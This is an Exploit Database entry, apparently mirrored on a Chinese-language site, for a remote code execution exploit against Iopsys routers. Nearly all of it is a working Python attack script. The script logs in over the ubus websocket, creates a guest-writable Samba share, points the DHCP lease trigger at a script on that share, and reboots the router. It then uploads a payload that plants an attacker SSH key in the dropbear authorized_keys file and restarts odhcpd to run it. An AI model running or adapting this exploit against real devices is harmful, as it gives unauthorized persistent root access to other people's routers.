Iopsys Router – ‘dhcp’ Remote Code Execution

Exploit Database
119 阅读

作者： neonsea

日期： 2017-12-23
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/43428/

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#!/usr/bin/python

import json

import sys

import subprocess

import socket

import os

from time import sleep

from websocket import create_connection

def ubusAuth(host, username, password):

ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])

req = json.dumps({"jsonrpc":"2.0","method":"call",

"params":["00000000000000000000000000000000","session","login",

{"username": username,"password":password}],

"id":666})

ws.send(req)

response =json.loads(ws.recv())

ws.close()

try:

key = response.get('result')[1].get('ubus_rpc_session')

except IndexError:

return(None)

return(key)

def ubusCall(host, key, namespace, argument, params={}):

ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])

req = json.dumps({"jsonrpc":"2.0","method":"call",

"params":[key,namespace,argument,params],

"id":666})

ws.send(req)

response =json.loads(ws.recv())

ws.close()

try:

result = response.get('result')[1]

except IndexError:

if response.get('result')[0] == 0:

return(True)

return(None)

return(result)

if __name__ == "__main__":

host = "192.168.1.1"

payload = """

#!/bin/sh

/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys

/usr/sbin/odhcpd-update

exit 0

"""

print("Authenticating...")

key = ubusAuth(host, "user", "password")

if (not key):

print("Auth failed!")

sys.exit(1)

print("Got key: %s" % key)

print("Adding Samba share...")

smbcheck = json.dumps(ubusCall(host, key, "uci", "get",

{"config":"samba"}))

if ("pwned" in smbcheck):

print("Samba share seems to already exist, skipping")

else:

smba = ubusCall(host, key, "uci", "add",

{"config":"samba", "type":"sambashare", "values":

{"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",

"path":"/mnt/", "guest_ok":"yes"}})

if (not smba):

print("Adding Samba share failed!")

sys.exit(1)

print("Enabling Samba...")

smbe = ubusCall(host, key, "uci", "set",

{"config":"samba", "type":"samba", "values":

{"interface":"lan"}})

if (not smbe):

print("Enabling Samba failed!")

sys.exit(1)

print("Committing changes...")

smbc = ubusCall(host, key, "uci", "commit",

{"config":"samba"})

if (not smbc):

print("Committing changes failed!")

sys.exit(1)

print("Setting malicious leasetrigger...")

lts = ubusCall(host, key, "uci", "set",

{"config":"dhcp", "type":"odhcpd", "values":

{"leasetrigger":"/mnt/pwn.sh"}})

if (not lts):

print("Setting leasetrigger failed!")

sys.exit(1)

print("Committing changes...")

ltc = ubusCall(host, key, "uci", "commit",

{"config":"dhcp"})

if (not ltc):

print("Committing changes failed!")

sys.exit(1)

print("Rebooting system...")

reb = ubusCall(host, key, "juci.system", "reboot")

if (not reb):

print("Rebooting failed, try rebooting manually!")

sys.exit(1)

print("Waiting on reboot...")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

isUp = None

while (not isUp):

try:

sleep(10)

s.connect((host, 8080))

isUp = True

s.close()

except:

pass

print("Creating temp file for payload...")

with open(".payload.tmp","a+") as file:

file.write(payload)

path = os.path.realpath(file.name)

print("Dropping payload...")

subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),

shell=True, check=True)

print("Payload dropped")

print("Authenticating...")

key = ubusAuth(host, "user", "password")

if (not key):

print("Auth failed!")

sys.exit(1)

print("Got key: %s" % key)

print("Executing payload")

eec = ubusCall(host, key, "juci.service", "stop",

{"name":"odhcpd"})

if (not eec):

print("Stopping odhcpd failed!")

sys.exit(1)

ees = ubusCall(host, key, "juci.service", "start",

{"name":"odhcpd"})

if (not ees):

print("Starting odhcpd failed!")

sys.exit(1)

print("Cleaning up...")

os.remove(path)

print("Exploitation complete")